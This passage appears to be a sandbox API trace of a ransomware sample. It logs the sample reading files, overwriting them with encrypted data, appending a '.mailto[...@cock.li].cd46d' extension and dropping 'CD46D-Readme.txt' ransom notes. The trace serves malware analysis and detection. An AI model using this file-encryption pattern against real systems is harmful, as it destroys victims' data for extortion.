(HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c58 [0052.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428cd0 [0052.869] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428cf8 [0052.869] NtQuerySystemTime (in: CurrentTime=0x151ffab0 | out: CurrentTime=0x151ffab0*=132174898168452000) returned 0x0 [0052.869] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x6d515383 [0052.869] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x4903ee59 [0052.869] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x6c31f72d [0052.869] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x6179610a [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x203dbfca [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x7588dd58 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x1de05501 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x34bb52b4 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x59a6a16b [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x340d91b2 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x14d47148 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x11ebd303 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x7aee58d4 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x1d3aa4bb [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0xf3665d [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x7eba8d12 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x30ca1805 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x109dd4c6 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x23b0ef8f [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x5f4f15cc [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0xd84ff93 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x7dd281a9 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x66b9c319 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x6c5ccfed [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x5b5e4af6 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x3e5717b5 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x4e26bff5 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x6b5e4b2 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x91008b1 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x533986ca [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x4435e948 [0052.870] RtlRandomEx (in: Seed=0x151ffabc | out: Seed=0x151ffabc) returned 0x647c9e8a [0052.883] ReadFile (in: hFile=0xe6c, lpBuffer=0x19685960, nNumberOfBytesToRead=0x198b, lpNumberOfBytesRead=0x151ffaac, lpOverlapped=0x0 | out: lpBuffer=0x19685960*, lpNumberOfBytesRead=0x151ffaac*=0x198b, lpOverlapped=0x0) returned 1 [0052.883] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.883] WriteFile (in: hFile=0xe6c, lpBuffer=0x19692168*, nNumberOfBytesToWrite=0x198b, lpNumberOfBytesWritten=0x151ffaa8, lpOverlapped=0x0 | out: lpBuffer=0x19692168*, lpNumberOfBytesWritten=0x151ffaa8*=0x198b, lpOverlapped=0x0) returned 1 [0056.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf70 [0056.488] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf48 [0056.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf48) returned 1 [0056.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19692168) returned 1 [0056.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19685960) returned 1 [0056.492] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437760) returned 1 [0056.492] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c120) returned 1 [0056.492] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97cede0 [0056.492] SetFilePointerEx (in: hFile=0xe6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.492] WriteFile (in: hFile=0xe6c, lpBuffer=0x196d0de8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x151ffb10, lpOverlapped=0x0 | out: lpBuffer=0x196d0de8*, lpNumberOfBytesWritten=0x151ffb10*=0x10b, lpOverlapped=0x0) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0de8) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf48) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf70) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428cd0) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d20) returned 1 [0056.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d48) returned 1 [0056.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x196d0ca8 [0056.608] wcscpy (in: _Dest=0x196d0ca8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3" [0056.608] wcscat (in: _Dest=0x196d0ca8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0056.608] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x151ffac8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\shCN4ATU4.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.608] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf2) returned 0x41c4b8 [0056.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c4b8) returned 1 [0056.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d9a38) returned 1 [0056.746] NtQueryInformationFile (in: FileHandle=0xe6c, IoStatusBlock=0x151ffad4, FileInformation=0x151ffaac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x151ffad4, FileInformation=0x151ffaac) returned 0x0 [0056.746] NtSetInformationFile (FileHandle=0xe6c, IoStatusBlock=0x151ffad4, FileInformation=0x151ffaac, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.747] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0ca8) returned 1 [0056.747] FlushFileBuffers (hFile=0xe6c) returned 1 [0056.813] CloseHandle (hObject=0xe6c) returned 1 [0056.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43f028 [0056.837] wcscpy (in: _Dest=0x43f028, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\" [0056.837] wcscat (in: _Dest=0x43f028, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt" [0056.837] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\cd46d-readme.txt")) returned 0x20 [0056.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f028) returned 1 [0056.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee6f8) returned 1 Thread: id = 838 os_tid = 0x10f4 [0051.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 0x20 [0051.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 1 [0052.884] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe70 [0052.884] GetFileSizeEx (in: hFile=0xe70, lpFileSize=0x151afda8 | out: lpFileSize=0x151afda8*=7124) returned 1 [0052.884] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x1bd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.884] ReadFile (in: hFile=0xe70, lpBuffer=0x151afd2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x151afd28, lpOverlapped=0x0 | out: lpBuffer=0x151afd2c*, lpNumberOfBytesRead=0x151afd28*=0x4, lpOverlapped=0x0) returned 1 [0052.885] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.885] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c58 [0052.885] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428cf8 [0052.885] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d70 [0052.885] NtQuerySystemTime (in: CurrentTime=0x151afd08 | out: CurrentTime=0x151afd08*=132174898168608000) returned 0x0 [0052.885] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x6ee2cd39 [0052.885] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x557e0a2a [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x16e2146e [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x2a7287e6 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x35489dfa [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x25f48584 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x77410a5e [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x70dac97f [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x78baf441 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x5897f1ec [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x53b91719 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0xf9046ab [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x41ba5534 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x561d547 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x14d10fbf [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x5bb18002 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x3a8deef2 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x1f1f00c5 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x2fbb934f [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x6f4024b8 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x612c69c7 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x94ce453 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x544c79bd [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x652e5261 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x4fd1f1e5 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x7c35e4cd [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x14365fa4 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x25772d02 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x5556a9a6 [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x133d773a [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x74fa802b [0052.886] RtlRandomEx (in: Seed=0x151afd14 | out: Seed=0x151afd14) returned 0x5db93d77 [0052.899] ReadFile (in: hFile=0xe70, lpBuffer=0x1969e970, nNumberOfBytesToRead=0x1bd4, lpNumberOfBytesRead=0x151afd04, lpOverlapped=0x0 | out: lpBuffer=0x1969e970*, lpNumberOfBytesRead=0x151afd04*=0x1bd4, lpOverlapped=0x0) returned 1 [0052.900] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.900] WriteFile (in: hFile=0xe70, lpBuffer=0x196ab178*, nNumberOfBytesToWrite=0x1bd4, lpNumberOfBytesWritten=0x151afd00, lpOverlapped=0x0 | out: lpBuffer=0x196ab178*, lpNumberOfBytesWritten=0x151afd00*=0x1bd4, lpOverlapped=0x0) returned 1 [0057.726] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428bb8 [0057.726] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428c08 [0057.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c08) returned 1 [0057.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196ab178) returned 1 [0057.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1969e970) returned 1 [0057.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0057.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0057.726] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40a988 [0057.726] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.726] WriteFile (in: hFile=0xe70, lpBuffer=0x5efe158*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x151afd68, lpOverlapped=0x0 | out: lpBuffer=0x5efe158*, lpNumberOfBytesWritten=0x151afd68*=0x113, lpOverlapped=0x0) returned 1 [0058.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe158) returned 1 [0058.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9f8) returned 1 [0058.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428c08) returned 1 [0058.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a988) returned 1 [0058.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428bb8) returned 1 [0058.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428cf8) returned 1 [0058.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d98) returned 1 [0058.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428dc0) returned 1 [0058.449] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x100) returned 0x12f4b2d0 [0058.449] wcscpy (in: _Dest=0x12f4b2d0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" [0058.450] wcscat (in: _Dest=0x12f4b2d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.mailto[2Hamlampampom@cock.li].cd46d" [0058.450] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x151afd20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.450] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x116) returned 0x5efe158 [0058.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe158) returned 1 [0058.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1ec78) returned 1 [0058.490] NtQueryInformationFile (in: FileHandle=0xe70, IoStatusBlock=0x151afd2c, FileInformation=0x151afd04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x151afd2c, FileInformation=0x151afd04) returned 0x0 [0058.490] NtSetInformationFile (FileHandle=0xe70, IoStatusBlock=0x151afd2c, FileInformation=0x151afd04, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.504] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0058.505] FlushFileBuffers (hFile=0xe70) returned 1 [0062.192] CloseHandle (hObject=0xe70) returned 1 [0062.627] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02120 [0062.627] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0062.627] wcscat (in: _Dest=0x5e02120, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\CD46D-Readme.txt") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\CD46D-Readme.txt" [0062.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\CD46D-Readme.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\cd46d-readme.txt")) returned 0xffffffff [0062.627] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\CD46D-Readme.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb68 [0062.905] WriteFile (in: hFile=0xb68, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x151afd28, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x151afd28*=0x6fd, lpOverlapped=0x0) returned 1 [0062.989] CloseHandle (hObject=0xb68) returned 1 [0062.989] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0062.989] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e022a0) returned 1 Thread: id = 839 os_tid = 0x10f8 [0051.734] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst")) returned 0x2020 [0051.735] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst", dwFileAttributes=0x20) returned 1 [0061.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1270 [0061.864] GetFileSizeEx (in: hFile=0x1270, lpFileSize=0x14cbf884 | out: lpFileSize=0x14cbf884*=35116) returned 1 [0061.865] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x8928, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.865] ReadFile (in: hFile=0x1270, lpBuffer=0x14cbf808, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14cbf804, lpOverlapped=0x0 | out: lpBuffer=0x14cbf808*, lpNumberOfBytesRead=0x14cbf804*=0x4, lpOverlapped=0x0) returned 1 [0061.869] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4290e8 [0061.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429318 [0061.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429250 [0061.870] NtQuerySystemTime (in: CurrentTime=0x14cbf7e4 | out: CurrentTime=0x14cbf7e4*=132174898258464000) returned 0x0 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x369799f [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x2dd8599e [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x19ef9392 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x7d07b1cc [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x69c0f8bd [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x35f9eab0 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x1a097420 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x106e826b [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x218246d7 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x12514c6d [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x16b05018 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x48bd91a2 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x5336c905 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x24fbd5d5 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x20824094 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x536bb514 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x7350a577 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x596de35d [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x37256295 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x51624ed [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0xc3876c3 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x4b19f91a [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x46c9b2a1 [0061.870] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x5700a095 [0061.871] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x61f4b53d [0061.871] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x5bd4e719 [0061.871] RtlRandomEx (in: Seed=0x14cbf7f0 | out: Seed=0x14cbf7f0) returned 0x2021e01d [0061.871] RtlRandomEx (in: Seed=0x14cbf7f0 | 